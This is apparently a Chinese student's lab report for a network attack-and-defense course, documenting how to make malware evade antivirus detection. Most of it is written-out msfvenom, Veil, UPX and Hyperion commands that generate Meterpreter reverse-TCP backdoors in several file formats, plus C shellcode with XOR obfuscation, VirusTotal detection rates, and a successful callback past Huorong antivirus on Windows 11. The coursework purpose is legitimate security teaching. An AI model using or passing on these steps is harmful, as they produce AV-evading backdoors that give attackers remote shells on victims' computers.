20222407 2024-2025-1 《网络与系统攻防技术》实验三实验报告
一、实验内容
本次实验的目标在于运用多重加密、文件格式伪装、数据填充、加壳等技术方法达成恶意代码的免杀效果,生成恶意程序,并对其进行测试,以检验其能否成功躲避杀毒软件的检测。本次实验具体内容如下:
1.正确使用msf编码器,使用msfvenom生成如jar之类的其他文件;
2.能够使用veil,加壳工具;
3.能够使用C + shellcode编程;
4.能够通过组合应用各种技术实现恶意代码免杀;
5.用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。
二、实验步骤
2.实验过程
2.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧
2.1.1 使用msfvenom生成.exe后门可执行程序
(1)不使用编码器生成后门程序20222407.exe
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 -f exe > 20222407.exe
(2)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -b ‘\x00’ LHOST=192.168.28.255 LPORT=9999 -f exe > 20222407_1.exe使用编码器生成后面程序20222407_1.exe(进行一次编码)
送入VirusTotal检测,效果也不是很好,检测率61/73,可以被大多数供应商检测到。
(3)通过指令msfvenom -p windows/meterpreter/reverse_tcp -e /x86/shikata_ga_nai -i 24 -b ‘\x00’ LHOST=192.168.28.255 LPORT=9999 -f exe > 20222407_2.exe使用编码器生成后面程序20222411_1.exe(编码24次)
解释这个命令的各个部分:
-p windows/meterpreter/reverse_tcp: 指定生成的Payload类型为Meterpreter反向TCP shell,用于与攻击者的监听器建立连接。
-e /x86/shikata_ga_nai: 使用Shikata Ga Nai编码器对Payload进行混淆,增加免杀能力。
-i 24: 指定编码器的迭代次数为24次,用于增加混淆程度。
-b ‘\x00’: 指定要避免的字符,这里是避免空字符\x00,以防止在传输过程中被误解释。
送入VirusTotal检测,检测率60/73。
(2)使用msfvenom生成其他格式的后门文件
采用msfvenom指令通过选择不同的payload,来生成不同格式的后门文件,包括.jar文件、.php文件、.py文件以及.apk文件。
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 -f jar > 20222407.jar
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 x > 20222407.php
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 -f py > 20222407.py
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 x > 20222407.apk
分别将以上各类型的后门程序上传至VirusTotal进行检测,结果如下。
20222407.jar:
20222407.php:
20222407.py:
20222407.apk:
综上,我已经利用msfvenom生成了若干个后门程序,它们在VirusTotal上都有着不同的检测率。
2.使用veil工具
(1)下载配置Veil
安装veil,依次输入以下命令:
mkdir -p ~/.cache/winecd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install libncurses5*
sudo apt-get install libavutil55*
sudo apt-get install gcc-mingw-w64*
dpkg --add-architecture i386
sudo apt-get update
sudo apt-get install wine32
apt-get install veil
sudo su
cd /usr/share/veil/config/
vim setup.sh
在第200多行的代码中,找到下图内容,按i键进入编辑模式,把下载地址换成https://gitee.com/spears/VeilDependencies.git,按ESC键,输入:wq退出;
运行veil进行安装;
过程中可能需要安装多个程序,一路默认安装即可;
通过命令use evasion进入evasion模块,如下图
可以看到Veil为我们提供了共41个可用的payload,可以通过输入list指令具体查看每一个payload的名称。
(2)利用Veil生成后门程序
通过命令use evasion进入evasion模块,如下图
如图,输入use 7,选择载荷c/meterpreter/rev_tcp后,输入set LHOST 192.168.28.255和set LPORT 9999分别set好LHOST、LPORT,输入generate指令开始生成文件V20222407.exe 在/var/lib/veil/output/compoled中找到将V20222411.exe,上传至VirusTotal进行检测,检测率为44/73,免杀有一定效果但并不显著。
2.1.3 加壳处理来试图实现免杀
(1)压缩加壳
输入指令upx 20222407.exe -o 20222407_upx.exe,对后门文件进行压缩加壳,可以看到压缩率为65.21%,生成文件20222407_upx.exe。
将20222407_upx.exe上传至VirusTotal检测,检测率为52/72,没什么效果。
(2)加密加壳
先输入cp 20222407.exe /usr/share/windows-resources/hyperion复制需要加壳的文件;再输入cd/usr/share/windows-resources/hyperion进入文件夹。
输入指令wine hyperion.exe -v 20222407.exe 20222407_hyperion.exe对文件进行加密加壳
在/usr/share/windows-resources/hyperion中找到20222407_hyperion.exe,上传检测,检测率仍很不理想,高达52/73.
2.1.4 采用C+shellcode来试图实现免杀
输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.28.255 LPORT=9999 -f c来获取一段shellcode编码。
输入vi 20222407_C.c,创建文件并将shellcode加入进去,如图。输入gcc 20222407_C.c -o 20222407_C.exe 采用gcc编译20222407_C.exe文件并传至主机。
上传至VirusTotal检测,效果不错!!检测率只有15/66。
2.2.2 C+shellcode编码+异或处理
创建文件20222411_OR.c,编写使其将刚刚生成的shellcode编码在异或处理后输出到文件20222411shellcode.txt,具体如下。
使用gcc编译后运行,得到异或后的shellcode编码。运行20222407_OR.exe后打开20222407shellcode.txt
上传至VirusTotal检测,效果非常好!!!检测率低至仅仅13/66。
查杀的8个文件中,没有20222411_OR_C.exe,说明该后门文件与杀毒软件共生。
2.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本
输入指令msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 3 -b '\x00' LHOST=192.168.28.255 LPORT=9999 -f raw >20222407.raw
,生成后门文件20222407.raw.
电脑版本为Windows11,杀软为火绒安全软件
启动msf,配置好payload、LHOST等相关参数,开始监听。
安装[shellcode_launcher:] (https://gitee.com/vantler/shellcode_launcher/)
运行20222407.raw,可以观察到成功连接。
3.问题及解决方案
实验过程中,kail的视图功能崩掉了,修好之后,在实验结束后,又崩掉了。
4.学习感悟、思考等
在本次实验里,我研习了免杀原理,学会了运用 netcat、Meterpreter、Veil Evasion 等工具。虽然大部分都是向老师和同学们询问的,但是不得不感慨,网络上的危机真是无处不在。